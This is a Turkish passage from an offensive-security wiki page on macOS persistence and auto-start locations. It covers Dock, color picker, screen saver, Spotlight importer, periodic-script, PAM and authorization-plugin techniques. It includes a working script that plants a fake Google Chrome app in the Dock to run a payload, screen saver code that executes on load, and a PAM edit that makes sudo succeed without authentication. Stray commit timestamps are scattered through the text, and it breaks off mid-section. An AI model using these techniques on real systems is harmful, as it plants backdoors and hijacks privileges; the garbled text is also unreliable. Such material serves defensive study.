* Ancak kötü niyetli bir uygulamayı sisteme kurmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* `~/Library/Preferences/com.apple.dock.plist`
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Kullanı cı dock içindeki uygulamaya tı kladı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Sadece şu şekilde bir uygulama **eklemek mümkündür** :
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-02-13 00:51:21 +00:00
Bazı **sosyal mühendislik** kullanarak, örneğin Dock içinde **Google Chrome gibi taklit edebilir** ve aslı nda kendi betiğinizi çalı ştı rabilirsiniz:
2023-09-28 21:12:41 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
2023-09-28 21:12:41 +00:00
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-02-13 00:51:21 +00:00
### Renk Seçiciler
2023-09-28 21:12:41 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:51:21 +00:00
* Çok belirli bir eylem gerçekleşmeli
2024-02-10 18:14:16 +00:00
* Başka bir kum havuzunda sonlanacaksı nı z
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/Library/ColorPickers`
2024-02-13 00:51:21 +00:00
* Kök erişimi gereklidir
* Tetikleyici: Renk seçicisini kullanı n
2023-09-28 15:09:34 +00:00
* `~/Library/ColorPickers`
2024-02-13 00:51:21 +00:00
* Tetikleyici: Renk seçicisini kullanı n
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Kodunuzla birlikte bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz** ](https://github.com/viktorstrate/color-picker-plus )) ve bir yapı landı rı cı ekleyin ([Ekran Koruyucu bölümündeki gibi](macos-auto-start-locations.md#screen-saver)) ve paketi `~/Library/ColorPickers` dizinine kopyalayı n.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Sonra, renk seçicisi tetiklendiğinde sizin de tetiklenmeniz gerekmektedir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Kütüphanenizi yükleyen ikili dosyanı n **çok kı sı tlayı cı bir kum havuzu** olduğunu unutmayı n: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
[Key] com.apple.security.temporary-exception.sbpl
2024-02-10 18:14:16 +00:00
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
{% endcode %}
2024-02-10 18:14:16 +00:00
### Finder Senkronizasyon Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Açı klama**: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı mı : **Hayı r, kendi uygulamanı zı çalı ştı rmanı z gerekir**
* TCC atlatma: ???
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Belirli bir uygulama
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Bir Finder Senkronizasyon Uzantı sı örneği olan bir uygulama [**burada bulunabilir** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Uygulamalar `Finder Senkronizasyon Uzantı ları ` na sahip olabilir. Bu uzantı , çalı ştı rı lacak bir uygulamanı n içine gidecektir. Dahası , uzantı nı n kodunu çalı ştı rabilmesi için **bazı geçerli Apple geliştirici sertifikaları yla imzalanmı ş olması gerekir** , **kum havuzunda olması gerekir** (rahatlatı lmı ş istisnalar eklenmiş olabilir) ve şöyle bir şeyle kaydedilmiş olması gerekir:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
### Ekran Koruyucu
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
Açı klama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:51:21 +00:00
* Ancak genel bir uygulama kum havuzunda sona ereceksiniz
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/System/Library/Screen Savers`
2024-02-13 00:51:21 +00:00
* Kök erişimi gereklidir
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
* `/Library/Screen Savers`
2024-02-13 00:51:21 +00:00
* Kök erişimi gereklidir
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
* `~/Library/Screen Savers`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardı ndan, örneğin aşağı daki kodu kullanarak kodunuzu ekleyin.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
**Derleyin** ve `.saver` paketini ** `~/Library/Screen Savers` ** dizinine kopyalayı n. Sonra, Ekran Koruyucu GUI'yi açı n ve üzerine tı kladı ğı nı zda birçok log oluşturmalı dı r:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Bu kodu yükleyen ikili dosyanı n ayrı calı kları içinde (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) ** `com.apple.security.app-sandbox` ** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksı nı z** .
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-13 00:51:21 +00:00
Koruyucu kod:
2023-09-28 15:09:34 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
2023-09-28 15:09:34 +00:00
}
- (void)startAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)stopAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)drawRect:(NSRect)rect
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
2023-09-28 15:09:34 +00:00
}
- (void)animateOneFrame
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
2023-09-28 15:09:34 +00:00
}
- (BOOL)hasConfigureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
2023-09-28 15:09:34 +00:00
}
- (NSWindow*)configureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
2023-09-28 15:09:34 +00:00
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
2023-09-28 15:09:34 +00:00
}
@end
```
2024-02-10 18:14:16 +00:00
### Spotlight Eklentileri
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
açı klama: [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:51:21 +00:00
* Ancak uygulama kum havuzunda sona ereceksiniz
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2024-02-10 18:14:16 +00:00
* Kum havuzu çok sı nı rlı görünüyor
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
* `~/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* `/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* Root gerekli
* `/Sistem/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* Root gerekli
* `Some.app/İçerik/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* Yeni uygulama gereklidir
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Spotlight, macOS'in yerleşik arama özelliğidir ve kullanı cı lara **bilgisayarları ndaki verilere hı zlı ve kapsamlı erişim** sağlamak amacı yla tasarlanmı ştı r.\
Bu hı zlı arama yeteneğini kolaylaştı rmak için Spotlight, **özel bir veritabanı ** tutar ve çoğu dosyayı **açarak bir dizin oluşturur** , böylece dosya adları ve içerikleri üzerinden hı zlı aramalar yapı lması nı sağlar.
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Spotlight'ı n temel mekanizması , 'mds' adlı merkezi bir süreci içerir ve bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinlemek gibi çeşitli bakı m görevlerini yerine getiren çeşitli 'mdworker' cinleri bulunmaktadı r (`ps -ef | grep mdworker`). Bu görevler, Spotlight içerisinde çeşitli dosya biçimlerindeki içeriği anlaması nı ve dizinlemesini sağlayan Spotlight içe aktarı cı eklentileri veya ** ".mdimporter paketleri**" aracı lı ğı yla mümkün hale gelir.
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Eklentiler veya ** `.mdimporter` ** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketler, hangi **dosya türü ve uzantı ları yönetebileceklerini** belirtmelidir; bu şekilde, belirtilen uzantı ya sahip yeni bir dosya oluşturulduğunda Spotlight onları kullanacaktı r.
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Yüklenmiş **tüm `mdimporters`** 'ları bulmak mümkündür:
2023-10-01 18:04:16 +00:00
```bash
mdimport -L
Paths: id(501) (
2024-02-10 18:14:16 +00:00
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
2023-10-01 18:04:16 +00:00
```
2024-02-13 00:51:21 +00:00
Ve örneğin ** /Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanı lı r (uzantı lar arası nda `.iba` ve `.book` bulunur):
2023-10-01 18:04:16 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
2024-02-10 18:14:16 +00:00
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
2023-10-01 18:04:16 +00:00
[...]
2024-02-10 18:14:16 +00:00
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
2023-10-01 18:04:16 +00:00
[...]
```
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Başka `mdimporter` 'ı n Plist'ini kontrol ederseniz, ** `UTTypeConformsTo` ** girişini bulamayabilirsiniz. Bu, yerleşik _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğundan ve uzantı ları belirtmeye gerek duymadı ğı ndan.
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Ayrı ca, Sistem varsayı lan eklentileri her zaman önceliklidir, bu nedenle bir saldı rgan yalnı zca Apple'ı n kendi `mdimporters` tarafı ndan dizinlenmeyen dosyalara erişebilir.
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-02-13 00:51:21 +00:00
Kendi içe aktarı cı nı zı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) ve ardı ndan adı değiştirin, ** `CFBundleDocumentTypes` **'ı değiştirin ve desteklemek istediğiniz uzantı yı desteklemesi için ** `UTImportedTypeDeclarations` ** ekleyin ve bunları ** `schema.xml` **'de yansı tı n.\
Sonra ** `GetMetadataForFile` ** işlevinin kodunu değiştirerek, işlenen uzantı ya sahip bir dosya oluşturulduğunda payload'unuzu çalı ştı rabilirsiniz.
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Son olarak, yeni `.mdimporter` 'ı nı zı oluşturun ve bir önceki konumlardan birine kopyalayı n ve yüklendiğinde **günlükleri izleyerek** veya ** `mdimport -L` ** kontrol ederek ne zaman yüklendiğini kontrol edebilirsiniz.
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
### ~~Tercih Paneli~~
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Bu artı k çalı şmı yor gibi görünmüyor.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Belirli bir kullanı cı eylemi gerektirir
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: Bu artı k çalı şmı yor gibi görünmüyor.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
## Kök Kum Havuzu Atlatma
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-02-13 00:51:21 +00:00
Burada, **kum havuzu atlamaya** yararlı olan başlangı ç konumları nı bulabilirsiniz, bu da sadece bir dosyaya **yazarak** basitçe bir şeyi **kök** olarak **yürütmenizi sağlar** ve/veya diğer **garip koşullar gerektirir.**
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Periyodik
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-26 23:39:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak kök olmanı z gerekiyor
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-26 23:39:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-26 23:39:35 +00:00
2023-09-28 20:05:35 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2024-02-10 18:14:16 +00:00
* Kök gereklidir
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Zamanı geldiğinde
2024-02-10 18:14:16 +00:00
* `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local`
* Kök gereklidir
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Zamanı geldiğinde
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama ve Sömürü: Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*` 'de yapı landı rı lmı ş **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` dizininde depolanan betikler, dosyanı n sahibi olarak **yürütülür** , bu nedenle bu, potansiyel bir ayrı calı k yükseltmesi için çalı şmaz. {% code overflow="wrap" %}
2023-09-28 20:05:35 +00:00
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Başka periyodik betikler de ** `/etc/defaults/periodic.conf` ** dosyası nda belirtilir:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-06-01 21:09:46 +00:00
```
2024-02-13 00:51:21 +00:00
Eğer `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local` dosyaları ndan herhangi birini yazmayı başarı rsanı z, **er ya da geç çalı ştı rı lacaktı r** .
2023-09-28 15:09:34 +00:00
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-02-13 00:51:21 +00:00
Periyodik betik, **betiğin sahibi olarak çalı ştı rı lacaktı r** . Yani, eğer düzenli bir kullanı cı betiğin sahibiyse, betik o kullanı cı olarak çalı ştı rı lacaktı r (bu, ayrı calı k yükseltme saldı rı ları nı engelleyebilir).
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### PAM
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak, kök erişimi gereklidir
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
* Her zaman kök erişimi gereklidir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
PAM, macOS içinde kolay yürütme üzerine değil, **kalı cı lı k** ve kötü amaçlı yazı lı m üzerine daha fazla odaklandı ğı ndan, bu blog detaylı bir açı klama sunmayacak, **bu tekniği daha iyi anlamak için açı klamaları okuyun** .
2023-11-02 16:52:21 +00:00
2024-02-10 18:14:16 +00:00
PAM modüllerini kontrol etmek için:
2023-11-02 16:52:21 +00:00
```bash
ls -l /etc/pam.d
```
2024-02-13 00:51:21 +00:00
Bir süreklilik/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek kolayca yapı labilir. Başlangı ca şu satı rı eklemek yeterlidir:
2023-11-02 16:52:21 +00:00
```bash
auth sufficient pam_permit.so
```
2024-02-13 00:51:21 +00:00
Yani bu, şuna **benzer bir görünüme** sahip olacak:
2023-11-02 16:52:21 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2024-02-13 00:51:21 +00:00
Ve dolayı sı yla ** `sudo` kullanma girişimi başarı lı olacaktı r**.
2023-11-02 16:52:21 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Bu dizinin TCC tarafı ndan korunduğunu unutmayı n, bu nedenle kullanı cı nı n erişim isteyen bir uyarı alması oldukça olası dı r.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Yetkilendirme Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Açı klama: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak root olmanı z ve ek yapı landı rmalar yapmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: ???
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-02-10 18:14:16 +00:00
* Root gereklidir
* Eklentiyi kullanmak için yetkilendirme veritabanı nı yapı landı rmak da gereklidir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
